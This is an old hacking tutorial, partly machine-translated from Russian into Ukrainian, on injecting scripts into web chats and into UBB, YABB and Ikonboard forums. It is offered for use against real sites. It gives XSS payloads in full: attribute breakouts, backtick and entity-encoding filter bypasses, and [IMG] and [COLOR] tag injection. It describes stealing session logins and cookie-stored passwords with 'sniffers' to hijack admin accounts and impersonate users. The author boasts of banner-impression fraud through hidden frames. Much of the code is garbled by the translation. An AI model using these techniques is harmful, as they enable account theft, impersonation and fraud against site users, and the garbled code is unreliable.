Злом чату ч.2



  • Частина 1
  • Частина 2


  • Варіації на тему

    У попередньому розділі ми розглянули випадок, коли колір вставлявся в текст сторінки без обмежуючих лапок. А що ж робити якщо лапки все ж є? Наприклад текст в чаті виглядає наступним чином:
    Подорожній - Alpha, привіт))
    Alpha - Всем приветик! !!

    Як бачимо, колір вставляється в обрамляють лапках. Ця проблема легко вирішується, якщо чат не відфільтровує символ '. Якщо це так, то ми можемо просто закрити відкриту лапки, і потім писати наш скрипт. Наприклад, задавши значення кольору як red 'size = 20' <FONT color = # 00ff00> ми знову отримаємо ефект з великим шрифтом. Звернемо увагу на пробіл і апостроф в кінці. Вони необхідні, для того, що б закриваюча лапка, яку вставить сам чат, не зруйнувала наші атрибути. В результаті наше повідомлення матиме вигляд:

    Shram - Hi

    Якщо ж чат не пропускає символ лапки, яка обрамляє значення параметра, то зламати чат через даний параметр не вдасться :( (. Хоча і тут можливі деякі штучки: см. Кінець цього розділу.

    Цей метод дуже часто (майже завжди) спрацьовує для задається адреси електронної пошти (в параметрах чатланин або в поле зворотної адреси в форумах і гостьових книгах). Як правило посилання на мило йде в форумах наступним чином:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Федя Пупкін &lt;/a&gt;</b> (фрагмент mailto: шлюз вставляє сам). Тоді задавши в якості мила значення "style = background-image: url (javascript: аlert ( 'Ну_нету_у_меня_мила!'))", Ми посилаємо Алерт будь-якому відвідувачу форуму :) ) (Зауважимо, що на адресу мила, як правило, фільтри символів, що вводять не встановлюються). Правда деякі форуми і чати як би перевіряють мило, але ця перевірка зводиться до вимоги присутності символу @. Якщо це так, то порадуємо творців форуму і намалюємо їм собачку наступним чином: [email protected] "style = background-image: url (javascript: аlert ( 'Ну_нету_у_меня_мила!'))".

    У деяких чатах допускається вставка власних картинок, завданням адреси картинки. Як ми вже знаємо, там де є URL, там можна вставити і скрипт. Навіть не буду це розжовувати. Все і так ясно.

    У першому розділі було показано як змінити вхідну форму чату. Зокрема потрібно було змінити відносну адресу поля action на абсолютний. Однак, структура чату може бути настільки складною, що таких замін може знадобитися дуже багато. Міняти в усіх випадках адреси незручно (та й можна помилитися). Замість цього, можна порекомендувати тег <base href = 'http: //typachat.ru/'^gt; , Який вставляється в будь-яке місце HTML документа. При цьому, все відносні адреси будуть адресуватися щодо адреси зазначеного в тезі base (в даному випадку щодо typachat.ru), незалежно від реального базового DNS імені.

    Ви напевно знаєте що таке сніффери? Якщо немає, то я вам скажу сниффер - дуже корисна штука, що дозволяє відстежувати трафік. У випадку з чатом, сниффер дозволяє визначити IP адреси знаходяться в чаті, а також і їх тимчасові імена і коди (для чатів з тимчасовими іменами). Іноді це навіть дозволяє отримати адмінських права :) ).

    Часто буває так, що нік в тексті чату виступає як посилання, при натисканні на яку, можна послати приватне повідомлення чатовцу. Ось як це виглядає в HTML:

    Alpha - Привіт!

    Модератор - Привіт!

    Крім ефекту, описаного в розділі "Чудеса та =", тут можливий вставка скрипта, який спрацьовує на подія кліка по посиланню (якщо чат не відфільтровує обмежують лапки - в даному випадку "- і символ +). Для цього, в якості ніка, задамо таке значення: "+ alert ( 'Hello!') +". Можна вставити що-небуть і серйозніше (тільки скориставшись функцією toString ()). Наприклад такий нік "+ toString (open ( '// yahoo.com', '_ top ')) + "відсилає користувача, тикнувшего на ваш нік, відпочити від чату вYahoo :) ).

    Злом чату M

    Як уже згадувалося в першому розділі, існує два методи злому чатів. Всі наведені вище приклади ставилися до першого методу - методу проникнення в параметри тега. Тут я хочу показати технологію другого методу - методу порушення структури HTML.

    Колір повідомлень в чаті М задавався в числовому вигляді (і тому мав обмеження на довжину кольору - 7 символів), мав химерні фільтри, але пропускав одиночний символ '. Ось фрагмент повідомлень в чаті:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Як бачимо колір вказувався без обрамляють лапок. Технологія злому проста: логіном під довільним ніком, і кольором '. Потім, увійшовши в чат, видаємо повідомлення типу 'style = background-image: url (javascript: alert (' Hello_people !! ')). Звернемо увагу на прогалину в кінці - він обов'язковий. Наше повідомлення виглядає наступним чином:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    При цьому виявляється, що частина HTML коду - class = "ку"> - виявилася всередині одинарних лапок, і розглядається браузером як рядок-значення кольору. До цього рядка потрапляє і закриває кутова дужка тега, завдяки чому наше повідомлення виявляється всередині тега! Частина коду, що йде безпосередньо після нашого повідомлення Не розумію браузером і ігнорується (причому ця частина повинна бути відокремлена пропуском від нашого параметра style, інакше параметр вцілому буде вважатися помилковим), а ось услід йде кутова дужка вважається закриває тег font. Все дуже просто.

    Трохи про символ зворотного слеша

    У рядках-константи JavaScript є один спеціальний керуючий символ. Це символ зворотного слеша \. Одне з його призначень наступне: що йде за ним символ лапки вважається саме символом, а не обмежувачем рядки. наприклад:

    &lt;Script&gt; alert ( 'It \' s ') &lt;/ script&gt; - Не видає повідомлення про помилку, оскільки апостроф в комбінації з \ в середині рядки не вважається кінцем рядка. В той час як &lt;Script&gt; alert ( 'It's') &lt;/ script&gt; видає повідомлення про помилку.

    Оскільки сам символ \ є керуючим (і тому не відображається безпосередньо в рядку), то для відображення самого себе існує комбінація \\. Такий така комбінація відображається як просто символ \.

    Яке це все має відношення до злому чатів? А ось яке: деякі чати не ставлять фільтр на символи лапок "(або") в поле ника, а замінюють їх на комбінації типу \ "(або \ '), вважаючи що в такому випадку лапки будуть відображатися але не зможуть виступати як обмежувачі, і отже не можуть зруйнувати структуру HTML. При цьому недалекоглядні розробники не беруть до уваги те, що і користувач може використовувати символ \ для блокування їхнього символу \. Наприклад фрагмент чату для повідомлення користувача з ніком Sh "ram виглядає наступним чином:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    В такому випадку лапки в чайнику не порушує структури тега. Але якщо ми поміняємо нік на Al \ "gol, то вставивши слеш перед лапками чат створить наступний HTML:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> При цьому наш слеш блокує слеш чату, і лапки ника руйнує структуру HTML! Це видно якщо тицьнути на посилання в прикладі.

    Цей ефект можна використовувати для злому чатів методом руйнування структури HTML. Звернемо увагу на те, що в деяких випадках таким же методом можна блокувати обмежують лапки, вставивши в кінець ника зворотний слеш.

    Нещодавно я помітив ще одну дірку, пов'язану з неправильним використанням символу \ програмістами чатів. Нехай, наприклад, нік користувача вставляється в тіло чату у вигляді

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Якщо ми змінимо свойнік на Al'gol, то чат прийме такий нік, але замінить на Al \ 'gol, наївно вважаючи, що вставивши зворотний слеш, вони захистять тег від руйнування. Насправді це не так :) . При вставці такого ника в тіло чату, це буде виглядати так:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    При цьому експлорер видасть повідомлення про помилку, при спробі тицьнути на нік. Причина в наступному: знак \ має сенс тільки всередині строкових констант ДжаваСкрипт, але не HTML! Сам HTML символ \ не розуміє, і тому вважає перший же знайдений апостроф кінцем атрибута href, незважаючи на те, що перед ним стоїть \. Таким чином, наприклад такий нік Algol '= зруйнує структуру тега, незважаючи на те що перед апострофом вставиться зворотний слеш

    Злом на рівні http

    Як уже згадувалося, сервер чату може відстежувати поле referer HTTP запиту, і не пускати в чат, якщо це поле відрізняється від потрібного. Для того що б обійти це припятствие потрібно відловити заголовок HTTP запиту, посилається чатом на сервер (за допомогою спеціальних програм, наприклад Naviscope) і написати спеціальну програму, яка відсилає запити на сервер. При цьому вміст запитів (напрмер значення поля кольору) можна задавати довільно.

    Не буду зупинятися на цьому докладно. Це виходить за рамки злому HTML.

    Зазначу лише, що на рівні HTTP можна робити більш хитрі штуки, ніж звичайними засобами HTML або JavaScript. У будь-якому випадку рекомендую переглядати заголовки HTTP запитів при роботі в чаті. Вони допоможуть вам більш детально розібратися в роботі чату.

    Чудеса та =

    Як ви думаєте, що буде відображатися в браузері для такого рядка HTML:

    &lt;Font onclick = alert ( '=')&gt; Text &lt;/ font&gt; ? Б'юся об заклад не вгадаєте (якщо ви звичайно не працюєте в Microsoft і не розробляли MSIE). Результат настільки специфічний, що я не зміг зробити приклад, який би його продемонстрував . Але можете повірити на слово, що у вікні браузера буде відображатися наступне: &lt;Fontonclick = alert ( '=')&gt; Text Як бачите, що відкриває тег в даному випадку просто напросто не сприймається браузером як тег, хоча синтаксичних помилок немає :) ). А що буде якщо ми напишемо Text

    Як не дивно, в такому випадку все буде в порядку, хоча в наявності помилка синтаксису. А якщо ми кликнемо на тексті, вискочить Алерт =. Спробуйте перемістити третій апостроф за кутову дужку, або за текст:

    &lt;Font onclick = alert ( '=')&gt; Text '&lt;/ font&gt; Вийде теж несподіваний результат.

    На жаль я не маю початкових кодів або докладної документації для MSIE, але я думаю що в даному випадку має місце явна помилка в MSIE. Ймовірно браузер аналізує код в два етапи. На першому етапі він виділяє теги, їх атрибути і текст, який знаходиться між ними, а на другому він аналізує JavaScript-вміст параметрів тегів (мова йде тільки про ті атрибути, які допускають значення-скрипт, наприклад href або onclick). При первинному аналізі браузер з незрозумілої причини вважає комбінацію = 'початком рядка, незважаючи на те, що символ = вже находтся всередині рядка! Потім прийнявши = 'за початок рядка, програма шукає кінець (при цьому начисто забувши про те, що ще один рядок відкрита і не закрита). Таким чином все що слід за = '(або = ") і до наступного символу' ігнорується і вважається рядком! Тому в першому прикладі браузер не сприймав тег: він не знайшов закриває кутової дужки, оскільки вона перебувала (як би) всередині рядка. Але ще дивніше те, що на другому етапі аналізу параметрів тега, браузер все сприймає правильно (в цьому можна переконається натиснувши на напис Text в другому прикладі), і сприймає рядок там де треба, і знаходить закриває кутову дужку теж там де треба. Це веде до того, що фрагмент Text з третього прикладу не є відображуваним текстом (оскільки як би не є тілом тега), але і не є параматром тега (оскільки на етапі аналізу параметрів, до неї компілятор просто не доходить)! Полум'яний привіт Біллу!

    Використовуючи дану помилку браузера мені вдалося закоментіровать частина коду чату, просто напросто залягання під ніком = :) ). Ось фрагмент коду, який відображав список присутніх в чаті:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    При цьому мій нік в списку просто не відображався, оскільки фрагмент між лапками

    )&gt; = &lt;/a&gt; A href = javascript: parent.window.messageFor ( виявився поза тілом тегів: -}. Зате при натисканні на Модератор, функція parent.window.messageFor викликалася з параметром =. Аналогічні "ефекти" були і при відображенні моїх повідомлень в чаті.

    Чудово (або сумно - дивлячись для кого) то, що даний глюк проходить практично скрізь де можна хоч че нитка ввести (принаймні для MSIE 5.50.4134.0600), і для цього навіть не треба нічого міняти в формі. А погано те, що від цього важко добитися істотної користі (наприклад запуск скрипта).

    У висновку відзначимо, що аналогічним ефектом володіє і символ>, який сприймається як кінець тега, незважаючи на те, що він знаходиться всередині рядка. фрагмент

    &lt;Font onclick = alert ( '&gt;')&gt; Text &lt;/ font&gt; інтерпретується браузером як помилковий, і він видає лайка на те, що не закрита строкова константа.

    Два злому чату T

    Чат T пропускав такі символи в поле кольору:

    ' ` = ;

    При вставці кольору в чат, що обрамляють лапок не було. Фрагмент повідомлень в чаті (до речі автор чату мабуть не вважає за потрібне закривати теги)), хоча будемо сподіватися що це зроблено для підвищення швидкодії):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Бентежило те, що пробіл не пропускався фільтром. Однак, після деяких роздумів, я знайшов наступне рішення - сам колір я взяв в одинарні лапки, а після кольору без пробілу вставив параметр style: 'red'style = background-image: url (javascript: while (1 == 1) open ( )). Як зазначалося у другому розділі розділовий пробіл в даному випадку не обов'язковий :) ).

    До речі в цьому чаті було повно фреймів, і в тому числі були приховані і порожні - ймовірно замислювалися для будь-яких майбутніх розширень. Але поки адміни думали над розширеннями, я знайшов їм більш корисне застосування. Я в цьому чаті висів досить довго - кілька місяців. І висів не просто так: в один з прихованих фреймів я пхав свій сайтик. А на сайтик були банери банерної мережі. Таким чином я накрутив собі близько сотні тисяч банеропоказів, а мій сайт підскочив до 5-6 місця в рейтингу хітів Rambler Top 100 (в своїй групі). На жаль, банерна мережа зіставили ставлення хіти / хости і зрозуміла що її водять за ніс. Виходило що один і той же відвідувач заходить на мій сайт раз по 50 в день. Мій аккаунт заблокували. Так напевно до сих пір там і висить, неприкаяний :) ).

    Але повернемося до наших баранів. Через деякий час адміністрація чату замінила cgi-шку. Не знаю які "покращення" були зроблені в second edition, але я лише зауважив одна зміна: тепер довжина рядка-значення кольору була обмежена, і становила близько 10 символів (до речі таке обмеження стоїть на багатьох чатах, хоча я не розумію який в них сенс ? чи не легше поставити фільтри на символи, що вводяться? Хоча можливо таким чином вони захищаються від переповнення буфера?). При такому розкладі, звичайно старий метод вже не працював. Втиснути в 10 символів пристойний скрипт можна (тут навіть і сам style не поміщався). Я зрозумів, що можна ламати тільки через нік або другим методом - руйнуючи стрктуру HTML. Кілька годин я пробував так і сяк. Крім дешевого ефекту зникнення ника (глава "Чудеса та =") нічого не виходило. Ломка структури нічого не давала з наступних причин: вставляючи замість кольору символ відкривав рядок, але вона закривалася апострофом який йшов на засланні на час (тут чату просто пощастило - це не було задумано як захисна міра, хоча багато чати вставляють спеціально для цього фіктивні теги типу <! ' "'>):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    Тобто коментована тільки фрагмент <a href = javascript: parent.window.Mtm (. І все чого я домігся це видалення тега посилання на час. Якби було можливо вставляти замість однарних лапок, подвійні, то проблеми б не було, адже в чаті подвійні лапки не застосовувалися. Але символ »не пропускався фільтром. Захід під ніком типу Algol = теж нічого не давав оскільки, символи після 'Algol =')> ігнорувалися і не вважалися параметрами тега. Працював звичайно ще варіант описаний в кінці глави" Варіації на тему ", але ці скрипти спрацьовували тільки при натисканні на посилання мого ніка :( (. Я вже готовий був визнати що цілком чат зламати не можна. І тут в останній момент, копаючись і експериментуючи в надрах HTML, я виявив що символ зворотного апострофа теж є обмежувачем рядків в HTML !!! І цей символ пропускався фільтром! Не довго думаючи я залогінився з ніком Algol і кольором `. А потім в якості повідомлення в чат послав такий рядок:` style = background-image: url (javascript: alert ( 'Победа_будет_за_намі!')). Моє повідомлення в тілі чату виглядало наступним чином:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    При цьому фрагмент <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ( 'Algol') > Algol </a> повністю коментувати і вважався як би кольором, а параметр style опинявся всередині тега! скрипт спрацював :) ).

    Так що програмістам чату T доведеться розробляти нову версію свого дітища. Залишається толко дивуватися як багато лазівок вони залишають, і як повільно їх виправляють. Кажуть вся справа в психології: розробники захисних систем не можуть поставити себе на місце зломщика, а судять про систему зі свого боку, замість того, що б подивитися на неї зовні.

    "Перехоплення", "фальсифікація" і отримання прав.

    Розглянемо методи захоплення чужих повідомлень (приватов) та надіслання повідомлення від особи інших чатовцев. Існують різні методи перехоплень, призначені для різних типів чатів. Якщо чат повністю зламаний то операція "підробки" (тобто вставка реплік від імені інших чатовцев) не складає труднощів: потрібно лише надіслати жертві в приват скрипт, який буде записувати деякий текст в рядок репліки, а потім натискати кнопочку "відправити". Анологично можна витягнути і приват користувача. Однак такі методи занадто грубі, примітивні і важкі в застосуванні. Більш досконалі такі методи перехоплення, при яких сам чат приймає вас за іншого користувача.

    При створенні HTML-чатів, основна проблема полягає в тому, що HTTP протокол, в принципі, не підтримує постійних з'єднань. Це означає, що кожен раз, коли ви хочете отримати повідомлення або відіслати репліку, програма чату повинна "дізнатися" вас, зрозуміти, що ви це ви. Якби вона не впізнавала користувачів, вона б не змогла надсилати вам ваші привати, і не змогла б писати ваші повідомлення від вашого імені. Для ідентифікації учасників, чати використовують різні методи. Найбільш часто використовуються метод IP-адрес і метод динамічних імен. Перший метод грунтується на тому, що у одного і того ж користувача один і той же IP адреса протягом сесії зв'язку. Не буду детально зупинятися на цьому методі, скажу лише, що цей метод має недоліки. Зокрема він може не працювати, якщо користувач використовує корпоративний проксі сервер, або якщо він відкрив кілька вікон з чатом. Останнім часом став часто використовуватися інший метод - метод динамічних імен. Суть методу полягає в тому, що при кожному заході користувача в чат, йому автоматично присвоюється тимчасовий унікальний логін. Цей логін автоматтіческі прописується в сторінці, яку шлюз надсилає користувачеві. Кожен раз, коли користувач відсилає форму репліки або запрошувати повідомлення з чату, його сторінка відсилає на сервер тимчасовий логін, за яким сервер власне і ідентифікує користувача. Тимчасовий логін система генерує випадковим чином, і два різних користувача не можуть мати однаковий логін. Логін може складатися з декількох частин. Найчастіше це порядковий номер користувача в сесії, і сгенерерірованний випадковим чином пассворд. Оскільки ідентифікаційний логін "зашитий" в чатовского сторінку кожного користувача, то система точно знає з яким користувачем вона спілкується, незалежно від його IP адреси, проксі-серверів, кількості відкритих вікон з чатом і т.д.

    Зрозуміло, що якби ми знали логін користувача, то нам би не було складно "підкосити" під юзера, просто напросто виправивши в своїй сторінці свій логін, на його логін. Тоді б система прийняла нас за нього ... Виявляється це можна легко зробити, якщо чат зламаний, і ми маємо можливість вставити в чат свою картинку. Тоді, якщо в якості картинки використовувати сниффер (див главу "Варіації на тему"), то ми зможемо отримати тимчасові логіни всіх учасників чату! А якщо нас цікавить чийсь конкретний логін, то потрібно послати йому сниффер в приват. Зазначу таке: перехоплений логін дійсний тільки до тих пір, поки користувач знаходиться в чаті, якщо перелогінітся (вийде і знову зайде), то у нього вже буде новий часу логін.

    Зрозуміло, що якщо перехопити тимчасовий логін адміна, то до нас автоматично перейдуть і його права - наприклад можливість безпосередньої вставки тегів в повідомлення (тобто відсутність фільтра на символи <та>), або можливість видалення з чату, або отримання інформації про користувача і т.д.

    Третій злом чату T

    Отже повернемося до багатостраждального чату Т. Не так давно чат Т повністю перейшов на нове ядро. Тепер правила гри змінилися. Спочатку поле кольору пропускало практично всі (аж до знаків <і>), і мені не сотавом праці зламати його. Але незабаром цю дірку закрили (не без моєї участі). У новій версії чату колір пропускав виключно цифри і букви. Злом через колір став неможливий. Це змусило шукати більш ізощеренние методи. По суті, единственое що залишалося - це нік. З власного досвіду я знав, що через нік зламати чат досить важко, оскільки розробники досить ретельно підбирають для ника фільтри. Однак в чаті мусувалася "фішка" про те, що "набір символів для ника істотно розширено". Це йшло як своєрідна реклама. Трохи повозившись з фільтрами на нік, я виявив що пропускаються наступні символи:

    ' ` = ; \

    Символ "пропускався, однак перед ним чат автоматично вставляв символ \. Механізми пов'язані з такою комбінацією описані в розділі" Трохи про символ зворотного слеша \ ". Однак ефекти описані в цьому розділі не давали бажаного результату, і були незручні у використанні. Я шукав інше рішення. І я його знайшов!

    Подивимося на фрагмент повідомлень в чаті:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Як бачимо, нік давався як посилання, при натисканні на яку викликалася якась функція. Оброблювач посилання href полягав в одинарні лапки, а сам нік йшов в подвійних лапках. Оскільки лапки практично не пропускалася чатом в значенні ника, то вийти за межі аргументу функції було як би неможливо. Нік типу = `не працював, оскільки обробник був укладений в одинарні апострофи, і як було показано в розділі" Чудеса та = "ефект зі знаком = не працював. І тут я перечитав власну статтю, і виявив наступне: якщо обробник укладений в лапки, то перша ж закриваюча лапка вважається кінцем обробника, навіть незважаючи на те, що сама вона знаходиться всередині інших лапок (і йде як строкова константа). Тобто например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Т.ч. обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Але і це ще не все. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

